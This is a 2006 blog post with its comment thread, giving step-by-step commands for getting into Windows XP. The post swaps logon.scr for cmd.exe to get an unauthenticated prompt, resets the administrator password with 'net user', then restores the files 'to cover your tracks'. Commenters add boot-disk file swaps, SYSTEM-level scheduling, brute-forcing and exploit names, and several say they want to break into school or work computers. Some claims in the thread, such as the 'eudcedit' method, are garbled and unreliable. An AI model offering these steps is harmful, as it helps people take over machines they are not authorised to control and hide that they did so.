How to Hack a Window XP Administrator Password

November 11th, 2006 scribez (Before you continue Read the Updates at the bottom) This is only for educational purpose it is a simple way to Hack the Window XP Administrator Password and also get away with it. To Hack the Window XP Administrator Password not many steps are involved especially if you already have knowledge of working with the DOS prompt. Here are the steps involved to hack the Window XP Administrator Password. 1. Go to Start > Run > Type in CMD 2. You will get a command prompt. Enter these commands the way it is given 3. cd\ 4. cd\ windows\system32 5. mkdir temphack 6. copy logon.scr temphack\logon.scr 7. copy cmd.exe temphack\cmd.exe 8. del logon.scr 9. rename cmd.exe logon.scr 10. exit Wait its not over read the rest to find out how to Hack the Window XP Administrator Password A Brief explanation of what you are currently doing here is Your are navigating to the windows system Directory where the system files are stored. Next your creating a temporary directory called mkdir. After which you are copying or backing up the logon.scr and cmd.exe files into the mkdir then you are deleting the logon.scr file and renaming cmd.exe file to logon.scr. So basically you are telling windows is to backup the command program and the screen saver file. Then we edited the settings so when windows loads the screen saver, we will get an unprotected dos prompt without logging in. When this appears enter this command net user password Example: If the admin user name is clazh and you want change the password to pass Then type in the following command net user clazh pass This will change the admin password to pass. Thats it you have successfully hacked the Window XP Administrator Password now

you can Log in, using the hacked Window XP Administrator Password and do whatever you want to do. Here are the steps involved to De Hack or restore the Window XP Administrator Password to cover your tracks. 1. 2. 3. 4. 5. 6. 7. Go to Start > Run > Type in CMD You will get a command prompt. Enter these commands the way it is given cd\ cd\ windows\system32\temphack copy logon.scr C:\windows\system32\logon.scr copy cmd.exe C:\windows\system32\cmd.exe exit

Or simply go to C:\windows\system32\temphack and copy the contents of temphack back into system32 directory click Yes to overwrite the modified files. Thanks to internetbusinessdaily.net Posted By Clazh Update: Christian Mohn points out this is possible only if you have Local Administrator Privileges. My fault for not checking it up before posting. Posted in Hacks, hack, xp, Windows, Microsoft, Technology.

76 Responses to How to Hack a Window XP Administrator Password

1. Hacks Blog Digest - How to Hack a Window XP Administrator Password Says:
November 11th, 2006 at 5:19 pm

[] net user clazh pass< I think its good. what about you? Link to original article [] 2. Christian Mohn Says:
November 11th, 2006 at 5:55 pm

Geez, here we go again. Another bogus security claim. YOU CANNOT DO THIS UNLESS YOU HAVE LOCAL ADMINISTRATOR PRIVILEGES TO BEGIN WITH.

3.

scribez Says:
November 11th, 2006 at 7:46 pm

hi Christian thanks for pointing this out. We didnt cross check the hack 4. Christian Mohn Says:
November 11th, 2006 at 8:20 pm

No problem, Im just getting tired of all these bogus claims all over the place.

5.

The Rooster Says:

November 11th, 2006 at 8:57 pm

Hey Scribes, Have you considered going to full feeds instead of excerpts. I live in my RSS reader and it would be great if I did not have to leave. I know some of my contacts that wont subscribe to a blog or feed if it is excerpts. I am sure they are not the only ones - I have deleted a few myself - it is just a pain in the arse. Sure I could view it in Feed Demon using the open in new window cmd, BUT it uses IE as the shell for the browser and using it makes me nervous (minus noscript and a few other nice FF goodness) and I dont like the way it behaves that much. So I open links in Firefox but that involves either first opening up in FeedDemon then show in external browser. Or a copy paste of the URL. I hate doing it, as you might appreciate. Cheers - I was all excited about this post. Our work PC are workstations but as the comments point out - we cant use the hack as we dont have local sys admin priv. Bummer! 6. Mosh Jahan Says:
November 11th, 2006 at 11:03 pm

An old trick, been done since NT has been around. And its true; you do not need local admin rights to use this trick. Anyone that needs to secure the administrator password, there are utilities to randomize the admin password on boot. 7. Christian Mohn Says:
November 11th, 2006 at 11:31 pm

Mosh: You do need administrative access locally to do this, as long as the system uses NTFS as its filesystem. Restricted user accounts doesnt have access to write to system32, thus rendering this useless. If the system is using FAT32, all bets are off though. 8. How to Hack a Window XP Administrator Password Says:
November 12th, 2006 at 1:42 pm

[] Original post by Scribez and published by w-plaza This entry is filed under News. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response or trackback from your own site. Leave a Reply [] 9. WildGrey Says:
November 13th, 2006 at 10:30 pm

A little late to get on to this topic but Christian is absolutely right! I tried another crazy thing I read somewhere else, but that too works only if you have privileges 10. Christian Mohn Says:
November 14th, 2006 at 2:36 pm

of course Im right.

11.

Justin Says:
November 15th, 2006 at 5:28 am

Ive seen something similar to this before but I think with hacking the Windows SAM file instead. This is really interesting and great for future reference. Thanks. 12. Mosh Says:
November 19th, 2006 at 12:52 am

@Christian, ah yes of course, in older OSes non-admin accounts did have rights to system32.

13.

sk Says:
November 19th, 2006 at 5:58 am

But why would this be interesting in case you needed admin privileges anyway? If youre already an admin, why cant you simply change the password from in the User Accounts menu? Its simpler that way, you know? 14. HUH Says:
November 25th, 2006 at 3:39 pm

Is there a way to get a admin pass without admin or the cd?

15.

arizane Says:
November 29th, 2006 at 11:30 pm

use kaht2 or dcom many xp havent patch after u attack the system create a user 16. Agus AH Says:
November 30th, 2006 at 9:59 am

Has anyone successfully tried this trick? in a system using NTFS, of course. 17. Peter Says:
November 30th, 2006 at 7:17 pm

Im an idiot I know, so please spare me, but I cant get the screen saver stop popping up the C: prompt. How do I restore it? Can you please help? 18. mucs Says:
December 1st, 2006 at 6:24 am

man you pple stink all you did to get the admin password from a restricted user account is go into the cmd prompt and type in pass\admin\system32 then it will give you encrypted info, then you copy the encrypted info into the hidden xp program so you go to cmd prompt and type in eudcedit and then paste the encrypted data into this program then under pass: delete the old one and type in yours. log out then log in as admin 19. JoKeR Says:
December 1st, 2006 at 5:55 pm

hi guys. I doing the trick and its say to me: error 5 access is denied. what I must do? 20. CADDES OBLIVION Says:
December 2nd, 2006 at 11:02 am

SAME HERE ACCESS DENIED MESSAGE I TRIED THE CMD HACK ONCE BEFORE BUTTTTIT FAILED

21. CADDES OBLIVION Says:

December 2nd, 2006 at 11:03 am

I JUST WANNA GET THIS DOWNLOAD (IMMA GUEST) BUT I DONT HAVE THE RIGHTS!!! I NEED ADMIN PRIVLEDGES!!!! 22. Nasir Says:
December 4th, 2006 at 12:45 pm

Do it at your own risk. 23. How to Hack a Window XP Administrator Password JeBlog Says:
December 4th, 2006 at 5:47 pm

[] November 11th, 2006 22 Comments [] 24. maziar Says:

December 9th, 2006 at 9:49 pm

very good 25. parrott Says:

December 10th, 2006 at 4:03 pm

Fine work. 26. lotti Says:

December 10th, 2006 at 11:37 pm

hey I`ve followed through your steps I just dont know how to open the screen saver what have I done wrong? 27. TOM Says:
December 11th, 2006 at 9:14 am

yeh after u type cd\windows\system32 and type in mkdir temphack it says access denied. so what do I do now?? 28. N_D Says:
December 17th, 2006 at 5:09 pm

I have the same problem as tomaccess denied 29. nabeel Says:

December 18th, 2006 at 4:29 am

yo this is so gay I mean this does not work what so ever and yea I have tried it many many many many many times! and just a question, how did u come up with this? 30. abcdefg Says:
December 18th, 2006 at 8:04 am

Nice trick. but not a practical one 31. Irfan Says:

December 18th, 2006 at 4:18 pm

I cannot rename the file cmd.exe to logon.scr Error:-File name exists What do u say about that To Macs Please explain ur method 32. vinay Says:
December 21st, 2006 at 3:52 pm

It displays the same error message error 5 and access denied message, this is only successful if the xp is installed by a new user and had not applied the security to the folders. ok keep up trying (It was a good Idea accept the thing mentioned above) 33. bjrn Says:
December 23rd, 2006 at 8:07 am

As already said earlier, this ONLY works if the system is FAT/FAT32 - because of the updated user rights management in NTFS - file level rights etc. THIS DOES NOT WORK ON A SYSTEM USING NTFS. 34. josh Says:
December 26th, 2006 at 2:01 am

well On my computer they have run blocked, what do I do? 35. Max Says:
December 26th, 2006 at 7:58 pm

I log with a no privilege account and I like to have some other privilege, can I do this without admin password?

If not can I get the password of my administrator domain without resetting the password? 36. Vinyl Says:
December 31st, 2006 at 1:54 am

ok I did everything right but it said access denied and I really want to go into the account so this is a question, do u need to have admin privileges to do this??? plz rite soon!!!!!!!!!!!! 37. Arslan Says:
January 10th, 2007 at 11:45 am

thanks, but what about the user access? if were limited by security by the windows, we cant access make changes to windows or program files if were user USERS. please send me information to my mail, best regards 38. darkan9el Says:
January 12th, 2007 at 4:46 am

Just use a windows 2000 CD to gain access to an XP system; just start up from CD and XP will let you in. K.I.S.S. 39. Nachi Says:
January 12th, 2007 at 7:45 pm

Dont do any shit he told you do what I tell you go to start press run and type compmgmt.msc b and then minimize local users and group click on users right click on administrator and press set password and then click proceed and then type your new password and confirm and walahhhhhhhh!! WHOEVER HAS DONE THIS AND BENEFITED EMAIL ME @ bluffboy93@yahoo.com just to say thanks. Plz do so because I will appreciate a lot lot lot lot and I am not giving this for free I`m just asking for some thanks so plz do so. 40. yahiea Says:
January 17th, 2007 at 3:01 pm

LIMITED AND DONT HAVE CD 2000 WHAT IS THE SULUTION 41. dinaesh Says:
January 18th, 2007 at 12:06 pm

hello I didnt have any rights to create a folder inside windows/system32 directory. please tell me a solution. mail me.. with regards 42. Debashis Senapati Says:
January 19th, 2007 at 2:55 am

Hello Run Cmd Type net user Administrator * and apply your passwords 43. Debashis Senapati Says:
January 19th, 2007 at 2:56 am

Run cmd Type: NET USER ADMINISTRATOR * and Apply your passwd 44. tallie Says:
January 21st, 2007 at 4:02 pm

none of them work!!!!!!!!! 45. michael0828 Says:

January 22nd, 2007 at 8:33 pm

man,i just want to download an on-line casino and I keep getting a application error? it happens EVERY time I try to download an exe. file. If anyone has any suggestions I would really appreciate any helpI have a laptop (company issued),but I have my own wireless card, but I cant get by the administrators settings!! THIS SUCKSPLEASE HELP.. 46. Patas Says:
January 24th, 2007 at 1:14 am

Any one know how to hack the windowns xp without any programs or be the admin? Plz reply 47. DeathW$H Says:
January 25th, 2007 at 9:25 am

I love this hack, I was wondering if you have any more though?

48. shaq Says:

February 1st, 2007 at 9:06 pm

shit nice nice I`m hacking school it denies logon.scr deletion anyway around it??? someone please answer me 49. segin Says:
February 2nd, 2007 at 6:36 pm

Here I quote: YOU CANNOT DO THIS UNLESS YOU HAVE LOCAL ADMINISTRATOR PRIVILEGES TO BEGIN WITH. as a very limited account: C:\WINDOWS\System32>copy cmd.exe logon.scr Overwrite logon.scr? (Yes/No/All)y 1 file(s) copied. C:\WINDOWS\System32> I need what now? 50. Nigel Says:
February 4th, 2007 at 5:29 pm

I cant get the dos to open with the screen saver 51. Demian Says:
February 5th, 2007 at 5:39 am

Can you put a picture or something to be guided I understand but qhe i pu the command it say THE ACCESS IS DENIED and I can do it 52. Maiku Says:
February 9th, 2007 at 2:02 am

After you run CMD Then: net user administrator and put in the password what next? Are there any obvious signs that you have hacked them? Many Thanks

53.

Josh Says:
February 9th, 2007 at 4:16 am

I have a very limited account, and cant use run, command prompt, or even access the c drive. However, I use the trick where you unplug the Ethernet cable when you login, and gain a few more rights. When I do this, I can get a command prompt open, and have access to the C drive. However, when I try to create folders in, delete files in, or move files into the c drive, I get the following message in command prompt: Access denied. I think this is because I have readonly privileges to the system32 folder. It will not let me change these privileges simply by going to properties and un-checking read only. How can I work around this? 54. vitaliy Says:
February 14th, 2007 at 7:55 am

nice trick, neat 55. ben Says:

February 14th, 2007 at 8:09 pm

actually, administrators can block the entire password change thingy if they r good enough to think of this over ride possibility. just a little tweak in the local security policy(control panel->administrative tools, works only for administrators group) will disallow any change in password even if u r the admin(u can put a number of other restrictions too),but be cautious to give other users limited accounts. but if u have done this, the above screensaver technique will fail. 56. Syrius Star Says:
February 26th, 2007 at 6:12 am

so after all this time i guess no one found the solution for us limited users trying to gain access to the admin accounts. if anyone finds anything email me because i am stuck and would not like to resort to paying someone. petite_divaa@hotmail.com - > for business purposes only 57. Parthipan Says:
February 26th, 2007 at 2:34 pm

How i can do this, when i am in Limited User Account I tried but its doesnt work. 58. fm_marcus Says:
February 27th, 2007 at 4:09 am

Every time I try any of these, I get an Error 5 or Access Denied error. I am using Windows XP Professional SP2. I do have access to the control panel. Please email me- I need to install a program and I need Administrator privileges to do it (OR: IS THERE A WAY FOR ME TO INSTALL A PROGRAM FROM A STORE-BOUGHT CD WITHOUT HAVING ADMIN PRIVLEGES????????????) fm_marcus@yahoo.com 59. Stephen Says:
March 1st, 2007 at 8:09 am

what if ur under a high security limited access account and being monitored by a admin computer that can see everything on that internet, cant download any files, no run button pretty much everything is blocked. 60. shadybaby Says:
March 3rd, 2007 at 8:45 pm

I forgot my admin password so now I`m locked out of my account and i cant install my printer from any of my limited accounts. Is there any way I can change my password or find out my password for my administrator account without a windows 2000 disk OR a password reset disk?? 61. d9n38 Says:
March 6th, 2007 at 4:19 am

all you have to do to change a password is open run type cmd that opens the command prompt then from there type net user it should come up with a list of all of the users then you type net user (your profile name) example.. net user mike * so if your name is shadybaby in your profile t would be.. net user shadybaby * after that it should come up with enter password type in what you want and hit enter then confirm it. it does not show the password dont panic! lol. your password should be changed. have fun you can change anyones account password with this method. 62. nitwit Says:
March 6th, 2007 at 8:30 am

How do you reset the password that you hacked to what it used to be so that noone gets mad? 63. Jaseck Says:
March 6th, 2007 at 9:01 am

Why dont you just bruteforce the system account its even higher than admin and much easier than this. 64. nitwit Says:
March 6th, 2007 at 9:19 am

how do you bruteforce the system account? 65. tonsr Says:

March 12th, 2007 at 7:21 am

how to enter window if i dont know admin pass and dont have cd-rom? thanks 66. William Says:
March 13th, 2007 at 12:06 am

this does not work unless you have the privileges to begin with! 67. noway Says:
March 14th, 2007 at 12:50 pm

I tried in windows 2000 but i could not work or you mean it is possible in windows XP only plz email me noway.m@hotmail.com thank-you 68. Allan Says:
March 16th, 2007 at 3:48 am

Ingenious way of hacking the Windows XP password! When I first learned how to write a screensaver, I was like, This is just a renamed *.exe file! Have you ever tried the at command way of hacking the windows password? I posted the instructions on my blog. Basically, you schedule the SYSTEM user to run cmd.exe the next minute. 69. coolmoo Says:
March 16th, 2007 at 11:25 pm

i am in the university and looking to break the Admin bloke but so far i have failed can you advice. N/B the above process did not solve my problem. 70. John Says:
March 19th, 2007 at 8:21 pm

I am so tired of people thinking they are hackers. If you have an administrator account on the computer and want to change the password to someone else who forgot it, then you can just go to control panel, user accounts, and change the password, and bam, youre done. That wasnt so hard, was it?. or you can do it from the admin account in safe mode. thanks. 71. JOhn Says:
March 20th, 2007 at 11:56 am

Niceit does not work. 72. inreal Says:

March 20th, 2007 at 12:51 pm

please help, here we go again. Another bogus security claim. YOU CANNOT DO THIS UNLESS YOU HAVE LOCAL ADMINISTRATOR PRIVILEGES TO BEGIN WITH. does anyone know how to this, if so can you please help me out. inreal@msn.com i really would appreciate it. inreal. 73. RMS Says:
March 21st, 2007 at 7:18 am

You dont need local administrator privileges to mess up the system files if you boot off of your own disk. I carry Windows PE on my flash drive, so try carrying a BartPE/WinPE CD or Linux (Even your WINDOWS VISTA INSTALL DVD can be used.) To use your boot device, when the computer is starting, attempt to access the bios. Change boot order to whatever you want to boot off of before the hard disk (remember to put it back later). Boot your cd. Then start a command prompt (on Vista DVD, click the button for fixing the system, wait for it to find no installs, click continue, then command prompt. Type in C: or whatever the real system drive is into the command prompt before doing the things above, and you are done! (again, remember to put the bios back the way it was before.) 74. Eclipse Says:
March 21st, 2007 at 12:11 pm

~~~~THIS IS THE ANSWER TO ALL YOUR QUESTIONS!~~~~ HOW TO GET A COMMAND PROMPT First, open a notepad file (if your school blocks notepad, open a webpage, right

click and go to view source. hey presto, notepad!). Now, write command.com and save the file as batch.bat, or anything with the extension .bat. Open this file and it will give you a command prompt. ADDING / MODIFYING ACCOUNTS Now that you have a command prompt, you can add a new user, just type C:>net user username /ADD where username is the name of your new account. IF you wanna have a password, use this instead: C:>net user username password /ADD Right then, now that we can create accounts, lets delete them:) C:>net user JohnSmith /DELETE This will delete poor JohnSmiths account. Do it to you enemies:P no only joking because they could have important work well okay only if you REALLY hate them:) Lets give you admin privileges:) C:>net localgroup administrator JohnSmith /ADD This will make JohnSmith an admin. Remember that some places may not call their admins administrator and so you need to find out the name of the local group they belong to. You can list all the local groups by typing C:>net localgroup ~~~~~~~~~~~ALTERNATIVE METHOD~~~~~~~~~~~~~ (posted far above by Nachi) First get up your command prompt then type compmgmt.msc b It should open a window called Computer Management or something and then open local users and groups on the folders list. click on users then in the window right click and click create new and fill out the info and password and then click create! Happy to help ECLIPSE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 75. Eclipse Says:
March 21st, 2007 at 12:15 pm

~~~~~~~~~~~~/\ NOTE FOR ABOVE /\~~~~~~~~~~~~~ I am not sure if this works on accounts with limited rights soz!

If you have any questions email me at eclipsenator@hotmail.com Thanks ECLIPSE 76. Jim Says:
March 23rd, 2007 at 9:46 pm

Funny, a the directory you make is called temphack, not mkdir. mkdir is the function you use to make a directory. QUOTE FROM ORIGINAL ARTICLE Next your creating a temporary directory called mkdir. Proofreading for the win!